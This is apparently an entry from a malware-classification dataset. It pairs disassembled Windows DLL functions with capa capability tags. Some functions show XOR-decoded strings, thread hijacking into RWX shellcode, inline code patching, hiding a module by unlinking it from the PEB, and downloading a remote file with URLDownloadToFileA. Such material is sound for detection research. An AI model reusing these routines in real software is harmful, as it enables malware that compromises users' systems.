joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009e20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push dword [ebp + 0x14]
push eax
push esi
push str._SplashScreen__SplashType:__d__TextSwitch:__d__DisplayText:__s
push 0
call fcn.100098b0
mov eax, dword [0x100885a4]
add esp, 0x14
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x10009e77
push 0
push 0
push 0x10
push eax
call edi
push dword [0x10189eb4]
mov dword [0x100885a4], 0
push dword [0x100885bc]
call ebx
mov eax, dword [0x100886cc]
test eax, eax
je 0x10009ea1
push 0
push 0
push 0x10
push eax
call edi
push dword [0x10189eb4]
mov dword [0x100886cc], 0
push dword [0x100886e4]
call ebx
mov eax, dword [0x100887f4]
test eax, eax
je 0x10009ecb
push 0
push 0
push 0x10
push eax
call edi
push dword [0x10189eb4]
mov dword [0x100887f4], 0
push dword [0x1008880c]
call ebx
mov eax, esi
sub eax, 0
je 0x10009efc
sub eax, 1
je 0x10009ef0
sub eax, 1
jne 0x10009ee8
mov eax, 2
mov ecx, 0x2b39c0
jmp 0x10009f03
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x10]
jmp 0x10009f03
mov eax, 1
mov ecx, 0x227ee6
jmp 0x10009f03
xor eax, eax
mov ecx, 0xf1f0ec
cmp byte [ebp + 0x10], 0
mov esi, dword [ebp + 8]
je 0x10009f27
push ecx
push dword [ebp + 0x14]
mov ecx, esi
push 1
push 0x808080
push dword [0x10189eb4]
push eax
call fcn.1000a1f0
jmp 0x10009f3a
push 0x808080
push dword [0x10189eb4]
mov ecx, esi
push eax
call fcn.1000a050
push 0
push 0
push esi
push 0x10009fc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x18]
test eax, eax
jle 0x10009fac
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp + 0xc], 0
je 0x10009fac
mov eax, dword [esi + 4]
test eax, eax
je 0x10009f98
push 0
push 0
push 0x10
push eax
call edi
mov dword [esi + 4], 0
push dword [0x10189eb4]
push dword [esi + 0x1c]
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x1000a510
jmp dword [pe_dos_header]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000a050
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 0xc]
mov byte [esi + 0x20], 0
test eax, eax
jne 0x1000a0ca
mov edx, 0x4c
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10037a98]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x1000a080
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 8], 0
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 6], 0
movq qword [ebp - 0x10], xmm0
jmp 0x1000a18b
cmp eax, 1
jne 0x1000a123
mov edx, 0x82
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10037ab4]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x19
jb 0x1000a0e0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
movups xmmword [ebp - 0x3c], xmm0
movq qword [ebp - 0x2c], xmm0
jmp 0x1000a18b
push 0x8bd985b8
cmp eax, 2
jne 0x1000a15d
lea ecx, [ebp - 0x58]
call fcn.100025d0
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x40], 0
movups xmmword [ebp - 0x58], xmm0
mov byte [ebp - 0x3e], 0
movq qword [ebp - 0x48], xmm0
jmp 0x1000a18b
lea ecx, [ebp - 0x74]
call fcn.100025d0
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0
movups xmmword [ebp - 0x74], xmm0
mov byte [ebp - 0x5a], 0
movq qword [ebp - 0x64], xmm0
push eax
mov ecx, esi
call fcn.10009db0
mov ecx, dword [esi + 4]
mov eax, dword [ebp + 0x10]
mov dword [esi + 0xc], eax
test ecx, ecx
je 0x1000a1d7
cmp dword [0x10189ed0], 0
je 0x1000a1d7
test eax, eax
je 0x1000a1d7
push 0xffffffffffffffec
push ecx
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x10189ed0]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10018f04
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000a1f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x18]
mov al, byte [ebp + 0x14]
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 0xc]
push edx
mov byte [esi + 0x20], al
lea eax, [esi + 0x21]
push 0xff
push eax
call fcn.1001e301
mov eax, dword [ebp + 0x1c]
add esp, 0xc
mov dword [esi + 0x120], eax
mov eax, dword [ebp + 8]
test eax, eax
jne 0x1000a28a
mov edx, 0x4c
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10037a98]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x1000a240
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 8], 0
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 6], 0
movq qword [ebp - 0x10], xmm0
jmp 0x1000a34b
cmp eax, 1
jne 0x1000a2e3
mov edx, 0x82
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10037ab4]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x19
jb 0x1000a2a0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
movups xmmword [ebp - 0x3c], xmm0
movq qword [ebp - 0x2c], xmm0
jmp 0x1000a34b
push 0x8bd985b8
cmp eax, 2
jne 0x1000a31d
lea ecx, [ebp - 0x58]
call fcn.100025d0
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x40], 0
movups xmmword [ebp - 0x58], xmm0
mov byte [ebp - 0x3e], 0
movq qword [ebp - 0x48], xmm0
jmp 0x1000a34b
lea ecx, [ebp - 0x74]
call fcn.100025d0
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0
movups xmmword [ebp - 0x74], xmm0
mov byte [ebp - 0x5a], 0
movq qword [ebp - 0x64], xmm0
push eax
mov ecx, esi
call fcn.10009db0
mov ecx, dword [esi + 4]
mov eax, dword [ebp + 0x10]
mov dword [esi + 0xc], eax
test ecx, ecx
je 0x1000a397
cmp dword [0x10189ed0], 0
je 0x1000a397
test eax, eax
je 0x1000a397
push 0xffffffffffffffec
push ecx
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x10189ed0]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10018f04
mov esp, ebp
pop ebp
ret 0x18
Function at 0x1000fe40
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10035618
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x80], 0
cmp dword [ebp + 0x20], 0x10
lea eax, [ebp + 0xc]
push dword [ebp + 0x1c]
cmovae eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x7c]
push eax
mov dword [ebp - 4], 0
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
call fcn.10011ff0
lea ecx, [ebp - 0x7c]
call fcn.1000f5c0
push esi
lea ecx, [ebp - 0x7c]
call fcn.1000f9a0
mov ecx, dword [ebp + 0x20]
cmp ecx, 0x10
jb 0x1000fee5
inc ecx
push ecx
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.1000e170
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018f04
mov esp, ebp
pop ebp
ret

Function at 0x100108d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 0x1f8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push 0x1f4
push 0
push eax
call fcn.1001ba60
add esp, 0xc
lea eax, [ebp - 0x1fc]
push eax
push 0x20019
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1001097c
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push ebx
push dword [ebp - 0x1fc]
call esi
test eax, eax
jne 0x1001097c
push 0x1f4
lea eax, [ebp - 0x1f8]
push 0
push eax
call fcn.1001ba60
add esp, 0xc
push dword [ebp - 0x1fc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018f04
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push ebx
push dword [ebp - 0x1fc]
call esi
test eax, eax
je 0x10010944
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10018f04
mov esp, ebp
pop ebp
ret
Function at 0x100128b0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x1018aebc]
test eax, eax
je 0x100128cc
nop dword [eax]
cmp dword [eax + 4], 0
jne 0x10012926
mov eax, dword [eax]
test eax, eax
jne 0x100128c0
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
test ecx, ecx
je 0x10012924
push esi
lea edx, [ecx + 0x20]
mov dword [ecx + 4], 0
mov esi, edx
mov dword [ecx + 8], 0
sub esi, ecx
nop dword [eax]
mov eax, dword [ecx + 4]
add esi, 0x20
mov dword [edx], eax
mov dword [ecx + 4], edx
add edx, 0x20
cmp esi, 0xfe0
jbe 0x10012900
mov eax, dword [0x1018aebc]
mov dword [ecx], eax
mov dword [0x1018aebc], ecx
pop esi
mov eax, ecx
ret
Function at 0x10013130
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [0x1018aeb8]
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 4], edi
test ebx, ebx
je 0x10013233
mov eax, dword [0x1018aeb0]
mov edx, dword [ebp + 8]
add eax, 0x14
nop dword [eax]
movzx ecx, byte [eax]
shr ecx, 1
and ecx, 1
cmp ecx, edx
jne 0x1001317d
inc esi
add eax, 0x2c
cmp esi, ebx
jb 0x10013160
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x10013233
xor eax, eax
test edx, edx
setne al
push eax
lea eax, [ebp - 0x10]
push 0xffffffffffffffff
push eax
call fcn.100135d0
mov edx, dword [0x1018aeb8]
add esp, 0xc
cmp esi, edx
jae 0x100131e7
mov ecx, dword [ebp + 8]
imul ebx, esi, 0x2c
nop dword [eax]
mov eax, dword [0x1018aeb0]
movzx eax, byte [ebx + eax + 0x14]
shr eax, 1
and eax, 1
cmp eax, ecx
je 0x100131dc
push ecx
push esi
call fcn.10013300
mov edi, eax
add esp, 8
test edi, edi
jne 0x100131e4
mov edx, dword [0x1018aeb8]
mov ecx, dword [ebp + 8]
inc esi
add ebx, 0x2c
cmp esi, edx
jb 0x100131b0
mov dword [ebp - 4], edi
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x10013233
xor esi, esi
cmp dword [ebp - 8], esi
jbe 0x10013224
mov edi, eax
push dword [edi + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10013218
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 8]
jb 0x100131f7
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push eax
push 0
push dword [0x1018a19c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10013300
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
imul esi, dword [ebp + 8], 0x2c
mov eax, 5
push edi
mov dword [ebp + 8], eax
add esi, dword [0x1018aeb0]
test byte [esi + 0x14], 1
mov edi, dword [esi]
je 0x1001332a
sub edi, eax
mov eax, 7
mov dword [ebp + 8], eax
lea ecx, [ebp - 4]
push ecx
push 0x40
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10013347
pop edi
mov eax, 0xa
pop esi
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x1001336c
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x1001338d
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x1001338d
mov eax, dword [esi + 0xc]
test byte [esi + 0x14], 1
mov dword [edi], eax
je 0x10013387
mov ax, word [esi + 0x10]
mov word [edi + 4], ax
mov al, byte [esi + 0x12]
mov byte [edi + 6], al
jmp 0x1001338d
mov al, byte [esi + 0x10]
mov byte [edi + 4], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, byte [esi + 0x14]
and bl, 1
mov cl, bl
and al, 0xfd
add cl, cl
shl bl, 2
or cl, al
and cl, 0xfb
or cl, bl
xor eax, eax
pop ebx
pop edi
mov byte [esi + 0x14], cl
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10013430
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x10013517
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10013510
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop dword [eax]
cmp dword [ebp - 0x20], 0x10
jb 0x100134f6
call ebx
cmp dword [ebp - 0x14], eax
jne 0x100134f6
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x100134f6
mov ecx, dword [esi]
test ecx, ecx
jne 0x100134bf
push 0x200
push ecx
mov dword [esi + 4], 0x80
push dword [0x1018a19c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x1001350f
jmp 0x100134e8
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x100134e8
shl eax, 3
push eax
push ecx
push 0
push dword [0x1018a19c]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1001350f
mov ecx, dword [esi + 4]
add ecx, ecx
mov dword [esi], eax
mov dword [esi + 4], ecx
mov edx, dword [esi + 8]
mov ecx, dword [esi]
mov eax, dword [ebp - 0x18]
mov dword [ecx + edx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10013480
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10018f04
mov esp, ebp
pop ebp
ret
Function at 0x100135d0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.10013430
add esp, 4
cmp dword [esi], 0
je 0x1001363c
push edi
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x1001363b
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10013634
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10013830
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x10013602
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x10013970
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
cmp dword [edi], 0
je 0x100139c0
push esi
xor esi, esi
cmp dword [edi + 8], esi
jbe 0x100139af
push ebx
mov eax, dword [edi]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x100139a8
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [edi + 8]
jb 0x10013985
pop ebx
push dword [edi]
push 0
push dword [0x1018a19c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop edi
pop ebp
ret
Function at 0x1002813c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10027fbb

Function at 0x1002cee8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002cba8
Function at 0x10001010
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0xd6
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x1000b0e8]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10001030
push esi
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x3f65358f
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.10001ed0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2f4]
push ecx
push 0x40
mov esi, eax
xor eax, eax
push 0x100
push esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea edx, [ebp - 0x2f0]
push edx
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
push eax
push esi
mov dword [ebp - 0x240], ebx
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10002153
mov esp, ebp
pop ebp
ret

Function at 0x10001120
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10001168
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000116c
cmp edx, esi
jne 0x10001151
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x1000118c
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10001190
cmp edx, esi
jne 0x10001175
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x100011b0
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100011b4
cmp edx, esi
jne 0x10001199
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100011c0
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.10006300
add esp, 0xc
mov ecx, 0xcf
xor eax, eax
mov dl, byte [eax + 0x1000b108]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x23c], dl
inc eax
and ecx, 0xff
cmp eax, 0x22
jb 0x100011f3
push edi
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x110]
push ecx
mov byte [ebp - 0x21a], bl
call fcn.10002162
add esp, 0xc
mov ecx, 0xce
xor eax, eax
mov dl, byte [eax + 0x1000b12c]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x10001233
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call esi
test eax, eax
sete al
cmp al, bl
je 0x100012a4
mov ecx, 0xc3
xor eax, eax
mov dl, byte [eax + 0x1000b148]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x10001274
push ebx
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
call esi
test eax, eax
jne 0x10001320
push 0x104
lea edx, [ebp - 0x218]
push ebx
push edx
call fcn.10006300
add esp, 0xc
mov ecx, 0xa6
xor eax, eax
lea ecx, [ecx]
mov dl, byte [eax + 0x1000b164]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x248], dl
inc eax
and ecx, 0xff
cmp eax, 0x2f
jb 0x100012d0
push edi
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x218]
push ecx
mov byte [ebp - 0x219], bl
call fcn.10002162
add esp, 0xc
push ebx
push ebx
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10002153
mov esp, ebp
pop ebp
ret
Function at 0x10001330
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.10006300
add esp, 0xc
mov ecx, 0xee
xor eax, eax
mov dl, byte [eax + 0x1000b194]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x23c], dl
inc eax
and ecx, 0xff
cmp eax, 0x22
jb 0x10001363
push edi
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x110]
push ecx
mov byte [ebp - 0x21a], bl
call fcn.10002162
add esp, 0xc
mov ecx, 0xbb
xor eax, eax
mov dl, byte [eax + 0x1000b1b8]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x100013a3
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call esi
test eax, eax
sete al
cmp al, bl
je 0x10001414
mov ecx, 0x69
xor eax, eax
mov dl, byte [eax + str.P7_]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x234], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x100013e4
push ebx
lea eax, [ebp - 0x234]
push eax
mov byte [ebp - 0x219], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
call esi
test eax, eax
jne 0x10001490
push 0x104
lea edx, [ebp - 0x218]
push ebx
push edx
call fcn.10006300
add esp, 0xc
mov ecx, 0x4b
xor eax, eax
lea ecx, [ecx]
mov dl, byte [eax + str.89_u]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x248], dl
inc eax
and ecx, 0xff
cmp eax, 0x2f
jb 0x10001440
push edi
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x218]
push ecx
mov byte [ebp - 0x219], bl
call fcn.10002162
add esp, 0xc
push ebx
push ebx
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10002153
mov esp, ebp
pop ebp
ret

Function at 0x10002153
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000215d
repz ret
jmp fcn.1000249d